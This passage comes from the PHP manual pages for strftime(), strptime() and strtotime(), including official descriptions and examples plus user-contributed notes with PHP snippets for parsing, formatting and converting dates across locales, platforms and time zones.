        return '';
    }
    else {
        $year=substr($date,0,4);
        if(phpversion() < 5.0 AND $year < 1970) {

            $new_date=substr_replace($date,'1980',0,4); # we replace the year by a year after 1970
            $new_format=eregi_replace('%a|%A|%u','',$format); # we remove days information from the format because they would be wrong
            $new_date=strftime($new_format,strtotime($new_date)); # we convert the date
            $new_date=eregi_replace('1980',$year,$new_date); # we put back the real year
            return $new_date;
        }
        else {
            return strftime($format,strtotime($date));
        }
    }
}
?>
nielsvan den berge at hotmail dot com 31-Aug-2007 03:43
A small function to get the first weekday of the month.
For example the first monday of the month, or the first friday, etc.

<?php
  /**
   *
   *  Gets the first weekday of that month and year
   *
   *  @param  int   The day of the week (0 = sunday, 1 = monday ... , 6 = saturday)
   *  @param  int   The month (if false use the current month)
   *  @param  int   The year (if false use the current year)
   *
   *  @return int   The timestamp of the first day of that month
   *
   **/
  function get_first_day($day_number=1, $month=false, $year=false)
  {
    $month  = ($month === false) ? strftime("%m"): $month;
    $year   = ($year === false) ? strftime("%Y"): $year;

    $first_day = 1 + ((7+$day_number - strftime("%w", mktime(0,0,0,$month, 1, $year)))%7);

    return mktime(0,0,0,$month, $first_day, $year);
  }

// this will output the first wednesday of january 2007 (wed 03-01-2007)
echo strftime("%a %d-%m-%Y", get_first_day(3, 1, 2007));
?>
ma 28-Aug-2007 02:58
note, that for some languages you MUST set LC_ALL instead of LC_TIME.

note that you further have to explicitly define your output-encoding (default is ISO-8859-1 [which makes problems for some languages])!

at least i expirienced this behaviour on a german WinXP-PHP4 environment:

<?php

// does not work - gives question marks:
setlocale(LC_TIME, 'RUS'); // ISO Alpha-3 is supported by xp
echo strftime('%A', time());

?>

<?php

// DOES work:
header('Content-Type: text/html; charset=UTF-8'); // you could also use another charset here if iconv isn't installed on your system.

echo setlocale(LC_ALL, 'RUS').': ';
echo iconv('windows-1251', 'UTF-8', strftime('%A', time()))."\n";

?>
th1nk3r at gmail dot DELETETHIS dot com 20-Jan-2007 06:35
Function strftime() use the locales installed in your system (linux).

If you are like me and only leave in the system the locales you use normally (en_US and your own language locale, like es_ES), you'll only be able to use the locales installed. If your application is translated to other languages, you need these locales too.

The name of the locale in your system is important too. This can be a problem when you want to distribute the app.

If you have this locales in your system:
en_US/ISO-8859-1
en_US.UTF-8/UTF-8
es_ES/ISO-8859-1
es_ES@euro/ISO-8859-15
es_ES.UTF-8/UTF-8
es_ES@euro/UTF-8

and use setlocale('es_ES'), the result will use the iso-8859-1 charset even if you have all your system, files and configuration options in UTF-8. To receive content in UTF-8, in this example, you need to use setlocale('es_ES.UTF-8') or setlocale('es_ES.UTF-8@UTF-8').

The definition of locales can change from one system to another, and so the charset from the results.
denis at spiralsolutions dot com 02-Nov-2006 09:07
(in addition to Andy's post)
To get a RFC 2822 date (used in RSS) of the current local time :

echo strftime ("%a, %d %b %Y %H:%M:%S %z") ;

Note: option %z / %Z - work different on Windows platform, for example
output of this code line can be:
Thu, 02 Nov 2006 09:54:59 Jerusalem Standard Time (on Windows)
Thu, 02 Nov 2006 09:54:59 +0200                   (on Linux)

[red. It is much smarter to use date(DATE_RSS); here]
Jon Keating 18-Jan-2006 02:49
Under windows if you are using Japanese version, you must use the following code:

setlocale(LC_ALL, "Japanese_Japan.20932") for EUC
setlocale(LC_ALL, "Japanese_Japan.932") for SJIS

I found the following page that helped me with this issue:
http://moodle.org/mod/forum/discuss.php?d=8329
jw at jwscripts dot com 29-May-2005 03:32
The following function implements the conversion specifiers which are not supported on Win32 platforms:

(Note: the specifiers %V, %G and %g can be implemented using other functions described in this section)

<?php

function strftime_win32($format, $ts = null) {
    if (!$ts) $ts = time();

    $mapping = array(
        '%C' => sprintf("%02d", date("Y", $ts) / 100),
        '%D' => '%m/%d/%y',
        '%e' => sprintf("%' 2d", date("j", $ts)),
        '%h' => '%b',
        '%n' => "\n",
        '%r' => date("h:i:s", $ts) . " %p",
        '%R' => date("H:i", $ts),
        '%t' => "\t",
        '%T' => '%H:%M:%S',
        '%u' => ($w = date("w", $ts)) ? $w : 7
    );
    $format = str_replace(
        array_keys($mapping),
        array_values($mapping),
        $format
    );

    return strftime($format, $ts);
}

?>
neo at gothic-chat d0t de 25-Jun-2004 08:27
To get a RFC 850 date (used in HTTP) of the current time:

gmstrftime ("%A %d-%b-%y %T %Z", time ());

This will get for example:
Friday 25-Jun-04 03:30:23 GMT

Please note that times in HTTP-headers _must_ be GMT, so use gmstrftime() instead of strftime().


Parse a time/date generated with strftime

  • « strftime
  • strtotime »
  • PHP Manual
  • Date/Time Functions
  • Parse a time/date generated with strftime

strptime

(PHP 5 >= 5.1.0)

strptime — Parse a time/date generated with strftime()

Description

array strptime ( string $date , string $format )

strptime() returns an array with the date parsed, or FALSE on error.

Month and weekday names and other language dependent strings respect the current locale set with setlocale() (LC_TIME).

Parameters

date (string)

The string to parse (e.g. returned from strftime()).

format (string)

The format used in date (e.g. the same as used in strftime()). Note that some of the format options available to strftime() may not have any effect within strptime(); the exact subset that are supported will vary based on the operating system and C library in use.

For more information about the format options, read the strftime() page.

Return Values

Returns an array or FALSE on failure.

The following parameters are returned in the array
parameters | Description
"tm_sec" | Seconds after the minute (0-61)
"tm_min" | Minutes after the hour (0-59)
"tm_hour" | Hour since midnight (0-23)
"tm_mday" | Day of the month (1-31)
"tm_mon" | Months since January (0-11)
"tm_year" | Years since 1900
"tm_wday" | Days since Sunday (0-6)
"tm_yday" | Days since January 1 (0-365)
"unparsed" | the date part which was not recognized using the specified format

Examples

Example #1 strptime() example

<?php
$format = '%d/%m/%Y %H:%M:%S';
$strf = strftime($format);

echo "$strf\n";

print_r(strptime($strf, $format));
?>

The above example will output something similar to:

03/10/2004 15:54:19

Array
(
    [tm_sec] => 19
    [tm_min] => 54
    [tm_hour] => 15
    [tm_mday] => 3
    [tm_mon] => 9
    [tm_year] => 104
    [tm_wday] => 0
    [tm_yday] => 276
    [unparsed] =>
)

Notes

Note: This function is not implemented on Windows platforms.

Note:

Internally, this function calls the strptime() function provided by the system's C library. This function can exhibit noticeably different behaviour across different operating systems. The use of date_parse_from_format(), which does not suffer from these issues, is recommended on PHP 5.3.0 and later.

Note:

"tm_sec" includes any leap seconds (currently upto 2 a year). For more information on leap seconds, see the » Wikipedia article on leap seconds.

Note:

Prior to PHP 5.2.0, this function could return undefined behaviour. Notably, the "tm_sec", "tm_min" and "tm_hour" entries would return undefined values.

See Also

  • checkdate() - Validate a Gregorian date
  • strftime() - Format a local time/date according to locale settings
  • date_parse_from_format() - Get info about given date formatted according to the specified format
  • DateTime::createFromFormat() - Returns new DateTime object formatted according to the specified format

User Contributed Notes

peter at removethisplease dot ddcrew dot com 07-Oct-2014 10:48
emanuil's comment / mktime() example is wrong, in that his mktime() line should have $ts['tm_mon'] + 1 because strptime() returns the months zero-based, while mktime() expects it one-based.
arnold at nijboer dot it 26-Jan-2014 11:28
the example (or the function) has an inconsistancy with other PHP functions.

the example returns 104 for the year 2004

while in the strftime function the 2 digit year is 70-100 for 1970-2000
and 1-69 for 2001-2069
emanuil dot tolev at gmail dot com 22-Jun-2012 01:08
Be careful: the output of strptime() ( http://www.php.net/manual/en/function.strptime.php ) cannot always be used with mktime() ( http://www.php.net/manual/en/function.mktime.php )!

This is not because of what platform you're using or what format strings glibc supports. This is simply because strptime returns years SINCE 1900 (as documented above) and mktime expects a year in the format returned by date('Y') - which is the full 4 digits.

Therefore, if you parse a date with strptime and want to give it to mktime, you have to pass in ($parsed_time['tm_year'] + 1900) as the year parameter to mktime(), not just $parsed_time['tm_year'].

This issue arose when I had a date like: 19/06/2012 12:03:34. strtotime() doesn't parse this particular format, so I needed custom parsing. So I ended up with:
1. $ts = $service->getNeededDateTime();
2. $ts = strptime($ts, '%d/%m/%Y %H:%M:%S');
3. $ts = mktime($ts['tm_hour'], $ts['tm_min'], $ts['tm_sec'],
      $ts['tm_mon'], $ts['tm_mday'], ($ts['tm_year'] + 1900));
131 21-Apr-2011 09:17
Another portage for windows (from ex/yks toolkit)
<?php
//  public static
function strptime($date, $format) {
    $masks = array(
      '%d' => '(?P<d>[0-9]{2})',
      '%m' => '(?P<m>[0-9]{2})',
      '%Y' => '(?P<Y>[0-9]{4})',
      '%H' => '(?P<H>[0-9]{2})',
      '%M' => '(?P<M>[0-9]{2})',
      '%S' => '(?P<S>[0-9]{2})',
     // usw..
    );

    $rexep = "#".strtr(preg_quote($format), $masks)."#";
    if(!preg_match($rexep, $date, $out))
      return false;

    $ret = array(
      "tm_sec"  => (int) $out['S'],
      "tm_min"  => (int) $out['M'],
      "tm_hour" => (int) $out['H'],
      "tm_mday" => (int) $out['d'],
      "tm_mon"  => $out['m']?$out['m']-1:0,
      "tm_year" => $out['Y'] > 1900 ? $out['Y'] - 1900 : 0,
    );
    return $ret;
  }
?>
Quietust 27-Feb-2009 05:38
On some systems, particularly those of BSD lineage (such as FreeBSD and MacOS X), the tm_wday and tm_yday fields are only initialized if requested explicitly (that is, if the %a/%A/%u/%w and %j formats are specified), while others such as Linux and Solaris will calculate them automatically.
Altar 2010 24-Oct-2008 10:45
If you want to parse a date or a /time in windows env, i re-write strptime function for windows.

I use the same param and i return the same think that the original one.
I use sscanf to parde the string.
Only some format can be parsed (%S, %M, %H, %d, %m, %Y)

See this page (because the function is too big for this notes)
http://sauron.lionel.free.fr/?page=php_lib_strptime

preview :
<?php
/**
 * Parse a time/date generated with strftime().
 *
 * This function is the same as the original one defined by PHP (Linux/Unix only),
 *  but now you can use it on Windows too.
 *  Limitation : Only this format can be parsed %S, %M, %H, %d, %m, %Y
 *
 * @author Lionel SAURON
 * @version 1.0
 * @public
 *
 * @param $sDate(string)    The string to parse (e.g. returned from strftime()).
 * @param $sFormat(string)  The format used in date  (e.g. the same as used in strftime()).
 * @return (array)          Returns an array with the <code>$sDate</code> parsed, or <code>false</code> on error.
 */
if(function_exists("strptime") == false)
{
    function strptime($sDate, $sFormat)
    {
        $aResult = array
        (
            'tm_sec'   => 0,
            'tm_min'   => 0,
            'tm_hour'  => 0,
            'tm_mday'  => 1,
            'tm_mon'   => 0,
            'tm_year'  => 0,
            'tm_wday'  => 0,
            'tm_yday'  => 0,
            'unparsed' => $sDate,
        );

        while($sFormat != "")
        {
            // ===== Search a %x element, Check the static string before the %x =====
            $nIdxFound = strpos($sFormat, '%');
            if($nIdxFound === false)
            {

                // There is no more format. Check the last static string.
                $aResult['unparsed'] = ($sFormat == $sDate) ? "" : $sDate;
                break;
            }

        .....
        .....
        .....
        .....

        // ===== Create the other value of the result array =====
        $nParsedDateTimestamp = mktime($aResult['tm_hour'], $aResult['tm_min'], $aResult['tm_sec'],
                                $aResult['tm_mon'] + 1, $aResult['tm_mday'], $aResult['tm_year'] + 1900);

        // Before PHP 5.1 return -1 when error
        if(($nParsedDateTimestamp === false)
        ||($nParsedDateTimestamp === -1)) return false;

        $aResult['tm_wday'] = (int) strftime("%w", $nParsedDateTimestamp); // Days since Sunday (0-6)
        $aResult['tm_yday'] = (strftime("%j", $nParsedDateTimestamp) - 1); // Days since January 1 (0-365)

        return $aResult;
    } // END of function

} // END if(function_exists("strptime") == false)
?>
firefox3107 at gmail dot com 24-Mar-2008 03:44
For Windows user! It's rather the same as strptime!
It uses the previous function: but call strToTime($date, $format) to strToDate($date, $format) because this name is forgiven!

<?php
function strToDateTime($date, $format) {
    if(!($date = strToDate($date, $format))) return;
    $dateTime = array('sec' => 0, 'min' => 0, 'hour' => 0, 'day' => 0, 'mon' => 0, 'year' => 0, 'timestamp' => 0);
    foreach($date as $key => $val) {
        switch($key) {
            case 'd':
            case 'j': $dateTime['day'] = intval($val); break;
            case 'D': $dateTime['day'] = intval(date('j', $val)); break;

            case 'm':
            case 'n': $dateTime['mon'] = intval($val); break;
            case 'M': $dateTime['mon'] = intval(date('n', $val)); break;

            case 'Y': $dateTime['year'] = intval($val); break;
            case 'y': $dateTime['year'] = intval($val)+2000; break;

            case 'G':
            case 'g':
            case 'H':
            case 'h': $dateTime['hour'] = intval($val); break;

            case 'i': $dateTime['min'] = intval($val); break;

            case 's': $dateTime['sec'] = intval($val); break;
        }
    }
    $dateTime['timestamp'] = mktime($dateTime['hour'], $dateTime['min'], $dateTime['sec'], $dateTime['mon'], $dateTime['day'], $dateTime['year']);
    return $dateTime;
}
?>
P. 30-Jan-2008 01:19
If strptime() fails to match all of the format string and therefore an error occurred the function returns NULL.
chad 0x40 herballure 0x2e com 15-Jun-2007 04:00
The result of strptime() is not affected by the current timezone setting, even though strftime() is. Tested in PHP 5.1.6.
svenr at selfhtml dot org 23-Nov-2006 10:44
If you need strptime but are restricted to a php version which does not support it (windows or before PHP 5), note that MySQL since Version 4.1.1 offers (almost?) the same functionality with the STR_TO_DATE function.

See http://dev.mysql.com/doc/refman/4.1/en/date-and-time-functions.html
DT <pwadas at gazeta dot pl> 10-Aug-2006 09:55
<?php
//This turns non-standard but often used "datetime" string
//like '20060810084251' into nice formatted date
//'Thursday, 10 August 2006 08:42:51 CEST'
//note, that strptime returns day of year counting from 0, so
//you need to put 1 as month number to get appropriate
//month for the daycount. for 2006 strptime for unknown
//reason returns 106, so I simply add 1900

$informat = '%Y%m%d%H%M%S';
$outformat =  '%A, %d %B %Y %T %Z';
$ftime = strptime("20060810084251",$informat);
$unxTimestamp = mktime(
                    $ftime['tm_hour'],
                    $ftime['tm_min'],
                    $ftime['tm_sec'],
                    1 ,
                    $ftime['tm_yday'] + 1,
                   $ftime['tm_year'] + 1900
                 );
//setlocale(LC_TIME,'pl_PL');
echo strftime($outformat , $unxTimestamp );
?>
jojyjob at gmail dot com 13-May-2006 09:18
/***Finding the days of a week ***/

<?php

$out = pre();
$outpre=nextweek();
$td=date("Y-m-d");
$result = array_reverse($outpre);
//print_r($result);
array_push($result,$td);
$newarray = array_merge($result,$out);

  foreach($newarray as $date1){
    echo $date1;
    echo "<br>";
 }

//print_r($out);
//print_r($newarray);

function pre()
{
$monP=0;
$tueP=1;
$wedP=2;
$thuP=3;
$friP=4;
$satP=5;
$sunP=6;

$td=date("Y-m-d");
//echo $td;
$tdname=date("l");
  switch($tdname)
  {
   case "Monday":
       $rep=$monP;
       break;
   case "Tuesday":
       $rep=$tueP;
       break;
   case "Wednesday":
       $rep=$wedP;
       break;
   case "Thursday":
       $rep=$thuP;
       break;
   case "Friday":
       $rep=$friP;
       break;
   case "Saturday":
       $rep=$satP;
       break;
   case "Sunday":
       $rep=$sunP;
       break;
   default:
       echo "Sorry";
  }

//echo $tdname."<br>";
//echo $rep;
$datstart =$td;  /* the starting date */
//$rep = 12;  /* number of future dates to display */
$nod = 1;  /* number of days in the future to increment the date */
$nom = 0;  /* number of months in the future to increment the date */
$noy = 0;  /* number of years in the future to increment the date */
$precon=future_date($datstart,$rep,$nod,$nom,$noy);
return $precon;
}
function future_date($datstart,$rep,$nod,$nom,$noy) {
 $pre = array();
  while ($rep >= 1) {
    $datyy=substr($datstart,0,4);
    $datmm=substr($datstart,5,2);
    $datdd=substr($datstart,8,2);
    $fda=$datdd - $nod;
    $fmo=$datmm - $nom;
    $fyr=$datyy -$noy;
    $dat1=date("Y-m-d", mktime(0,0,0,$fmo,$fda,$fyr))."<BR>";
    array_push($pre,$dat1);
    //echo $dat1;
    $datstart=$dat1;
    $rep--;
  }
  return $pre;
}

function nextweek()
{
$monN=6;
$tueN=5;
$wedN=4;
$thuN=3;
$friN=2;
$satN=1;
$sunN=0;

$td=date("Y-m-d");
$tdname=date("l");
  switch($tdname)
  {
   case "Monday":
       $rep=$monN;
       break;
   case "Tuesday":
       $rep=$tueN;
       break;
   case "Wednesday":
       $rep=$wedN;
       break;
   case "Thursday":
       $rep=$thuN;
       break;
   case "Friday":
       $rep=$friN;
       break;
   case "Saturday":
       $rep=$satN;
       break;
   case "Sunday":
       $rep=$sunN;
       break;
   default:
       echo "Sorry";
  }

//echo $tdname."<br>";
//echo $rep;
$datstart =$td;  /* the starting date */
//$rep = 12;  /* number of future dates to display */
$nod = 1;  /* number of days in the future to increment the date */
$nom = 0;  /* number of months in the future to increment the date */
$noy = 0;  /* number of years in the future to increment the date */

$con = future_date1($datstart,$rep,$nod,$nom,$noy);
return $con;
}

function future_date1($datstart,$rep,$nod,$nom,$noy) {
 $pre = array();
  while ($rep >= 1) {
    $datyy=substr($datstart,0,4);
    $datmm=substr($datstart,5,2);
    $datdd=substr($datstart,8,2);
    $fda=$datdd + $nod;
    $fmo=$datmm + $nom;
    $fyr=$datyy + $noy;
    $dat1=date("Y-m-d", mktime(0,0,0,$fmo,$fda,$fyr))."<BR>";
    array_push($pre,$dat1);
    //echo $dat1;
    $datstart=$dat1;
    $rep--;
  }
  return $pre;
}

?>
Malte Starostik 27-Mar-2006 07:45
It says "Parse a time/date generated with strftime()" but that's not entirely correct -- While strptime("2006131", "%Y%W%u") works as expected, strptime("2006131", "%G%V%u") returns false instead of reversing the equivalent - and unambiguous - strftime() usage.  I suspect that's because glibc doesn't support that.  Anyway, this docu page fails to mention that apparently not all format components supported by strftime() can be used with strptime().


Parse about any English textual datetime description into a Unix timestamp

  • « strptime
  • time »
  • PHP Manual
  • Date/Time Functions
  • Parse about any English textual datetime description into a Unix timestamp

strtotime

(PHP 4, PHP 5)

strtotime — Parse about any English textual datetime description into a Unix timestamp

Description

int strtotime ( string $time [, int $now = time() ] )

The function expects to be given a string containing an English date format and will try to parse that format into a Unix timestamp (the number of seconds since January 1 1970 00:00:00 UTC), relative to the timestamp given in now, or the current time if now is not supplied.

Each parameter of this function uses the default time zone unless a time zone is specified in that parameter. Be careful not to use different time zones in each parameter unless that is intended. See date_default_timezone_get() on the various ways to define the default time zone.

Parameters

time

A date/time string. Valid formats are explained in Date and Time Formats.

now

The timestamp which is used as a base for the calculation of relative dates.

Return Values

Returns a timestamp on success, FALSE otherwise. Previous to PHP 5.1.0, this function would return -1 on failure.

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

Changelog

Version | Description
5.3.0 | Prior to PHP 5.3.0, relative time formats supplied to the time argument of strtotime() such as this week, previous week, last week, and next week were interpreted to mean a 7 day period relative to the current date/time, rather than a week period of Monday through Sunday.
5.3.0 | Prior to PHP 5.3.0, 24:00 was not a valid format and strtotime() returned FALSE.
5.2.7 | In PHP 5 prior to 5.2.7, requesting a given occurrence of a given weekday in a month where that weekday was the first day of the month would incorrectly add one week to the returned timestamp. This has been corrected in 5.2.7 and later versions.
5.1.0 | Now returns FALSE on failure, instead of -1.
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.
5.0.2 | In PHP 5 up to 5.0.2, "now" and other relative times are wrongly computed from today's midnight. This differs from other versions where it is correctly computed from current time.
5.0.0 | Microseconds began to be allowed, but they are ignored.

Examples

Example #1 A strtotime() example

<?php
echo strtotime("now"), "\n";
echo strtotime("10 September 2000"), "\n";
echo strtotime("+1 day"), "\n";
echo strtotime("+1 week"), "\n";
echo strtotime("+1 week 2 days 4 hours 2 seconds"), "\n";
echo strtotime("next Thursday"), "\n";
echo strtotime("last Monday"), "\n";
?>

Example #2 Checking for failure

<?php
$str = 'Not Good';

// previous to PHP 5.1.0 you would compare with -1, instead of false
if (($timestamp = strtotime($str)) === false) {
    echo "The string ($str) is bogus";
} else {
    echo "$str == " . date('l dS \o\f F Y h:i:s A', $timestamp);
}
?>

Notes

Note:

If the number of the year is specified in a two digit format, the values between 00-69 are mapped to 2000-2069 and 70-99 to 1970-1999. See the notes below for possible differences on 32bit systems (possible dates might end on 2038-01-19 03:14:07).

Note:

The valid range of a timestamp is typically from Fri, 13 Dec 1901 20:45:54 UTC to Tue, 19 Jan 2038 03:14:07 UTC. (These are the dates that correspond to the minimum and maximum values for a 32-bit signed integer.)

Prior to PHP 5.1.0, not all platforms support negative timestamps, therefore your date range may be limited to no earlier than the Unix epoch. This means that e.g. dates prior to Jan 1, 1970 will not work on Windows, some Linux distributions, and a few other operating systems.

For 64-bit versions of PHP, the valid range of a timestamp is effectively infinite, as 64 bits can represent approximately 293 billion years in either direction.

Note:

Dates in the m/d/y or d-m-y formats are disambiguated by looking at the separator between the various components: if the separator is a slash (/), then the American m/d/y is assumed; whereas if the separator is a dash (-) or a dot (.), then the European d-m-y format is assumed.

To avoid potential ambiguity, it's best to use ISO 8601 (YYYY-MM-DD) dates or DateTime::createFromFormat() when possible.

Note:

Using this function for mathematical operations is not advisable. It is better to use DateTime::add() and DateTime::sub() in PHP 5.3 and later, or DateTime::modify() in PHP 5.2.

See Also

  • Date and Time Formats
  • DateTime::createFromFormat() - Returns new DateTime object formatted according to the specified format
  • checkdate() - Validate a Gregorian date
  • strptime() - Parse a time/date generated with strftime

User Contributed Notes

alekas at elykinnovation dot com 28-Aug-2014 11:22
As this page documents: strtotime will "Parse about any English textual datetime description into a Unix timestamp," even ones that aren't immediately clear to the developer.

strtotime('west'); and strtotime('east'); return valid Unix timestamps even though it doesn't make sense semantically.

strtotime('west'); will return the time in the timezone to the west of your current timezone.
strtotime('east'); will return the time in the timezone to the east of your current timezone.
a dot dyudyun at gmail dot com 14-Mar-2014 04:21
<?php
# strtotime() function with param "now" work only with UTC
# time zone (GMT) Grinvich, but param "midnight" work with
# local time zone

date_default_timezone_set("Europe/Kiev");
echo "Kiev:".strtotime("now");
echo "<br><br>";

date_default_timezone_set("America/New_York");
echo "New-York:".strtotime("now");
echo "<br><br>";
date_default_timezone_set("UTC");
echo "UTC:".strtotime("now");
echo "<br>==========================<br>";

date_default_timezone_set("Europe/Kiev");
echo "Kiev:".strtotime("midnight");
echo "<br><br>";

date_default_timezone_set("America/New_York");
echo "New-York:".strtotime("midnight");
echo "<br><br>";
date_default_timezone_set("UTC");
echo "UTC:".strtotime("midnight");
echo "<br><br>";
?>

result:
Kiev:1394781415

New-York:1394781415

UTC:1394781415
==========================
Kiev:1394748000

New-York:1394769600

UTC:1394755200
Anonymous 14-Mar-2014 04:21
<?php
# strtotime() function with param "now" work only with UTC
# time zone (GMT) Grinvich, but param "midnight" work with
# local time zone

date_default_timezone_set("Europe/Kiev");
echo "Kiev:".strtotime("now");
echo "<br><br>";

date_default_timezone_set("America/New_York");
echo "New-York:".strtotime("now");
echo "<br><br>";
date_default_timezone_set("UTC");
echo "UTC:".strtotime("now");
echo "<br>==========================<br>";

date_default_timezone_set("Europe/Kiev");
echo "Kiev:".strtotime("midnight");
echo "<br><br>";

date_default_timezone_set("America/New_York");
echo "New-York:".strtotime("midnight");
echo "<br><br>";
date_default_timezone_set("UTC");
echo "UTC:".strtotime("midnight");
echo "<br><br>";
?>

result:
Kiev:1394781415

New-York:1394781415

UTC:1394781415
==========================
Kiev:1394748000

New-York:1394769600

UTC:1394755200
peixoto at live dot com 05-Mar-2014 09:23
<?php strtotime('-5 weeks monday') ?> returns the monday of 5 weeks ago.
Anonymous 24-Feb-2014 12:13
Be aware that you cannot rely on this function alone to validate a date, as it will accept insane dates like the 31st of February.

Also, the '... week' functionality by itself may not do what you expect. If used on a Sunday, 'next week' will not return a timestamp of the next Monday, but of the Monday after that. Similarly, a timestamp for the Monday of the current week is returned when 'previous/last week' is used and 'this week' returns a stamp of the Monday of the next week (i.e. the following day). This is not the 'week starts on Sunday' effect, as that would mean all the timestamps returned would have to be on a Sunday and none of them are.
gffabio at hotmail dot com 02-Feb-2014 03:58
una solucion al para saber el primer y ultimo dia del mes siguiente
<?php
$fecha = '2014-01-31';
//resultado incorrecto
echo date('Y-m-01',strtotime("$fecha next month")).'<br>';//2014-03-01
echo date('Y-m-t',strtotime("$fecha next month")).'<br>';//2014-03-31
//correcto
echo date('Y-m-01',strtotime("$fecha last day of next month")).'<br>';//2014-02-01
echo date('Y-m-t',strtotime("$fecha last day of next month")).'<br>';//2014-02-28

$fecha = '2014-05-31';
//resultado incorrecto
echo date('Y-m-01',strtotime("$fecha next month")).'<br>';//2014-07-01
echo date('Y-m-t',strtotime("$fecha next month")).'<br>';//2014-07-31
//correcto
echo date('Y-m-01',strtotime("$fecha last day of next month")).'<br>';//2014-06-01
echo date('Y-m-t',strtotime("$fecha last day of next month"));//2014-06-28
?>
brokndodge at yahoo dot com 07-Jan-2014 06:50
If you want to add or subtract a strtotime to/from a strtotime:
<?php
$d = strtotime('-1 day',strtotime("first day of last month"))
echo $d
?>
Christian L. 02-Dec-2013 05:45
To get the start of the current week this code works fine when the week starts on Sundays.

<?php strtotime('this Monday'); ?>

To get the timestamp of the start of a week starting on Mondays (as defined by ISO 8601) this shoud do the trick.

<?php strtotime('next Monday -1 week'); ?>
les dot mc dot pls at gmail dot com 22-Oct-2013 12:00
@lazzich
just wanted to say that by coincidence i commented out the:

//$date(2011/07/15);
//$time(15:00:00);

and the result was 16,000 days ago...

Happy 16,000 day anniversary of
01/01/1970 everyone!!!
les dot mc dot pls at gmail dot com 22-Oct-2013 11:44
@lazzich
just wanted to say that by coincidence i commented out the:

//$date(2011/07/15);
//$time(15:00:00);

and the result was 16,000 days ago...

Happy 16,000 day anniversary of
01/01/1970 everyone!!!
agok at yandex dot ru 07-Aug-2013 09:32
//get first and last day of quarter for some date
$date = new DateTime('2013-01-01');
echo
$date->modify('-'.(($date->format('n') - 1)%3).' month')->modify('first day of this month')->format('Y-m-d');
echo '<br/>';
echo
$date->modify('+2 month')->modify('last day of this month')->format('Y-m-d');
kumar AT swatantra.info Swatantra Kumar 19-Apr-2013 04:27
The "+1 month" issue with strtotime
===================================
As noted in several blogs, strtotime() solves the "+1 month" ("next month") issue on days that do not exist in the subsequent month differently than other implementations like for example MySQL.

<?php
echo date( "Y-m-d", strtotime( "2009-01-31 +1 month" ) ); // PHP:  2009-03-03
echo date( "Y-m-d", strtotime( "2009-01-31 +2 month" ) ); // PHP:  2009-03-31
?>

<?php
SELECT DATE_ADD( '2009-01-31', INTERVAL 1 MONTH ); // MySQL:  2009-02-28
?>
me at will morgan dot co dot you kay 04-Sep-2012 02:01
For negative UNIX timestamps, strtotime seems to return the literal you passed in, or it may try to deduct the number of seconds from today's date.

To work around this behaviour, it appears that the same behaviour as described in the DateTime classes applies:

http://php.net/manual/en/datetime.construct.php

Specifically this line here (in the EN manual):

> The $timezone parameter and the current timezone are ignored when the $time parameter either is a UNIX timestamp (e.g. @946684800) or specifies a timezone (e.g. 2010-01-28T15:00:00+02:00).

Therefore strtotime('@-1000') returns 1000 seconds before the epoch.

Hope this helps.
elad dot yosifon at gmail dot com 16-Jun-2012 05:12
This example shows common methods to get a timestamp from $year,$month,$day variables.
strtotime() with implode() seems to be the fastest way (performance wise..)

<?php

    function logTime($start,$end,$functionName){
        echo "$functionName() = ".(float)($end-$start)*(60*60)."<br>";
    }

    $day = '01';    $month = '01';    $year = '2000';

    $time = array();
    $timestamps = array();
    $time[] = array(microtime(true),'start');

    $timestamps[] = mktime(0,0,0,$month,$day,$year);
    $time[] = array(microtime(true),'mktime');

    $timestamps[] = strtotime($year.'-'.$month.'-'.$day);
    $time[] = array(microtime(true),'strtotime');

    $timestamps[] = strtotime(implode('-', array($year, $month, $day)));
    $time[] = array(microtime(true),'strtotime_Array');

    $timestamps[] = date_create_from_format('!Y-m-d', $year.'-'.$month.'-'.$day)->getTimestamp();
    $time[] = array(microtime(true),'date_create_from_format');

    $timestamps[] = date_create_from_format('!Y-m-d', implode('-', array($year, $month, $day)))->getTimestamp();
    $time[] = array(microtime(true),'date_create_from_format_Array');

    $timestamps[] = DateTime::createFromFormat('!Y-m-d', $year.'-'.$month.'-'.$day)->getTimestamp();
    $time[] = array(microtime(true),'DateTime');

    $timestamps[] = DateTime::createFromFormat('!Y-m-d', implode('-', array($year, $month, $day)))->getTimestamp();
    $time[] = array(microtime(true),'DateTime_Array');

    foreach ($time as $key=>$value) {
        if(end($time) == $value){}else{
            logTime($value[0],$time[$key+1][0],$time[$key+1][1]);
        }
    }

    // just to show that all timestamps are correct
    var_dump($timestamps);
?>
info at jesperveldhuizen dot com 16-May-2012 11:33
There is a change in the strtotime function...

<?php

echo date('Y', strtotime('0000-00-00 00:00:00'));

/*
PHP 5.3.3
returns: -0001

PHP 5.2.10
returns: 1970
*/

?>
darylblake at gmail dot com 09-Mar-2012 07:13
I was doing work with cisco phone systems, and thy record their times as NTP Format.

strtotime() doesnt process the whole NTP timestamp, off the bat, so if you want a quick function to work I bashed this together pretty quickly, there are probably more efficent ways of processing this, but it gets the job done. Enjoy.

[code]
<?php

//Note: I ran this in PHP 5.3.x
function NTPtoUnixtime($ntptime)
{
    $explodedNTPtime = explode(" ", $ntptime,2);
    $startOfDay = strtotime("Today");
    $timeThroughDay = strtotime($explodedNTPtime[0]) - $startOfDay ;
    return strtotime($explodedNTPtime[1])+$timeThroughDay;
}

$ntpTime = "09:49:22.897 NZDT Mon Feb 20 2012"; //NTP time to convert.

echo NTPtoUnixtime($ntpTime);

//produces: 1329684562
// Which equates to: Mon 20 Feb 2012 09:49:22 NZDT GMT+13
?>

[/code]
giacomo at cinquepunti dot it 03-Feb-2012 01:09
this function allow the use of native strtotime with dates before 1970 (and before 1900) even in Windows

<?php
function safe_strtotime($string)
{
    if(!preg_match("/\\d{4}/", $string, $match)) return null; //year must be in YYYY form
    $year = intval($match[0]);//converting the year to integer
    if($year >= 1970) return date("Y-m-d", strtotime($string));//the year is after 1970 - no problems even for Windows
    if(stristr(PHP_OS, "WIN") && !stristr(PHP_OS, "DARWIN")) //OS seems to be Windows, not Unix nor Mac
    {
        $diff = 1975 - $year;//calculating the difference between 1975 and the year
        $new_year = $year + $diff;//year + diff = new_year will be for sure > 1970
        $new_date = date("Y-m-d", strtotime(str_replace($year, $new_year, $string)));//replacing the year with the new_year, try strtotime, rendering the date
        return str_replace($new_year, $year, $new_date);//returning the date with the correct year
    }
